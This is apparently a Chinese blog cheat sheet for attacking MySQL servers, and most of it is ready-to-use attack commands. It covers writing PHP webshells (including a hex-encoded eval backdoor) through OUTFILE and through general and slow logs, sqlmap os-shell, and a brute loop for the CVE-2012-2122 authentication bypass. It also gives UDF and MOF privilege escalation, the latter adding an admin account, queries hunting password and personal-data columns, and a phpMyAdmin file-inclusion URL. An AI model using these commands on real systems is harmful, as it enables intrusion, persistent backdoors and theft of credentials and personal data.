分享一篇水文,不算特别水,故设置为2积分
鲨鲨可爱捏
需要md格式文档的请购买后点击资源下载即可
更新时间:2021.9.28
记录时间: 2023/3/14 9:41:05
老鸟速查笔记,新手建议直接读文末引用。
1 GetShell
1.1 into oufile 写 shell(物理路径写webshell-写文件)
知道网站物理路径
高权限数据库用户(root)
secure_file_priv 无限制
网站路径有写入权限
查询是否 secure_file_priv 没有限制
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
写shell
select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php';
select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A;
sqlmap写shell
sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php"
sqlmap获取os-shell
sqlmap -u "http://x.x.x.x/?id=x" --os-shell
tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。
1.2 读文件
受secure_file_priv影响
CREATE TABLE test(FIELDS VARCHAR(1000))
load data infile "/proc/self/cmdline" into table test FIELDS TERMINATED BY '\n';
1.3 日志写shell(物理路径写webshell-日志)
知道网站物理路径
高权限数据库用户(root)
网站路径有写入权限
mysql> SHOW VARIABLES LIKE '%general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
#开启日志记录
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
#往日志里面写入 payload
select '<?php phpinfo();?>';
1.4 慢日志写shell(物理路径写shell-慢日志)
知道网站物理路径
高权限数据库用户(root)
网站路径有写入权限
mysql> SHOW VARIABLES LIKE '%slow_query_log%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| slow_query_log | OFF |
| slow_query_log_file | /var/lib/mysql/c1595029a.log |
+------------------+---------------------------------+
#开启日志记录
set global slow_query_log = "ON";
set global slow_query_log_file='/var/www/html/info.php';
#往日志里面写入 payload
select '<?php phpinfo();?>' or sleep(10)
2 漏洞攻击
2.1 yaSSL 缓冲区溢出
Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt
msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello
2.1 authbypass身份认证绕过
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
CVE-2012-2122
知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
msf dump hash
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run
3 提权操作
3.1 UDF提权
udf动态链接库文件获取
sqlmap/data/udf/mysql
sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码
# 查看当前目录情况
➜ pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
msf的可以直接使用
MSF 根目录/embedded/framework/data/exploits/mysql
tips:可用ida查看有哪些函数
该udf.dll导出的路径因MySQL版本不同而不同:
如果
MySQL<5.1
,udf.dll动态链接文件需要导出的路径为: Windows2003:c:\windows\system32 Windows2000:c:\winnt\system32。如果
MySQL>=5.1
,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录
获取plugin路径
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
获取mysql版本,确定 udf位数
show variables like "%version%";
tips:windows系统如果目录不存在可以尝试使用NTFS流创建:
select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION';
# 获取so十六进制
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
创建表写入
create table my_udf_data(data LONGBLOB);
set @my_udf_a=concat('',dll的16进制);
insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;
创建函数执行命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select * from mysql.func;
select sys_eval(‘whoami’);
drop function sys_eval;
3.2 mof提权
老古董,不想写了
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
准备好mof文件,然后udf老套路导出即可
pace("\.rootsubscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
4 杂项(读文件 udf 敏感字段查询)
select load_file('/var/lib/mysql-files/key.txt'); #Read file
利用恶意mysql服务,读客户端文件
注意某些lnmp的探针
可用的udf hex
https://www.sqlsec.com/tools/udf.html
xx库中所有字段名带 pass|pwd 的表
select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%"
sqlmap 参数–-search也可以
xx 库中所有字段名带个人信息的表
select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"
4.1 与phpMyAdmin文件包含
phpMyAdmin4.8.1文件包含
包含mysql数据文件
通过写文件到tmp目录下,进行包含(tmp/2.php)
phpMyAdmin找绝对路径
全局变量里面搜索log,通过路径推测。
通过日志文件路径、mysqldata文件路径、安装路径推测
判断中间件类型猜测
相关路径查询
show variables like '%plugin%'
show global variables like "%datadir%";
写到tmp目录下进行包含
select '<?php eval($_POST[1])?>' into outfile '/tmp/2.php';
https://www.baidu.com/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/3.php
带cookie链接即可
5 绕过策略&配置
5.1 绕过(–secure_file_priv) general log方式
# 存在指定路径限制(--secure_file_priv) 该配置项指定为某一目录 该参数只读 修改配置文件且重启mysql才能修改生效
# 查看配置目录
SHOW VARIABLES LIKE "secure_file_priv";
MySQL 拥有网站目录的写权限
MySQL root 用户权限(日志方法需要)
通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:
SET GLOBAL general_log=on;
SET GLOBAL general_log_file='目标文件路径';
然后执行一条包含要写入的内容的SQL语句,即可写入到目标文件上。
SELECT '要写入的文件内容';
请登录后查看评论内容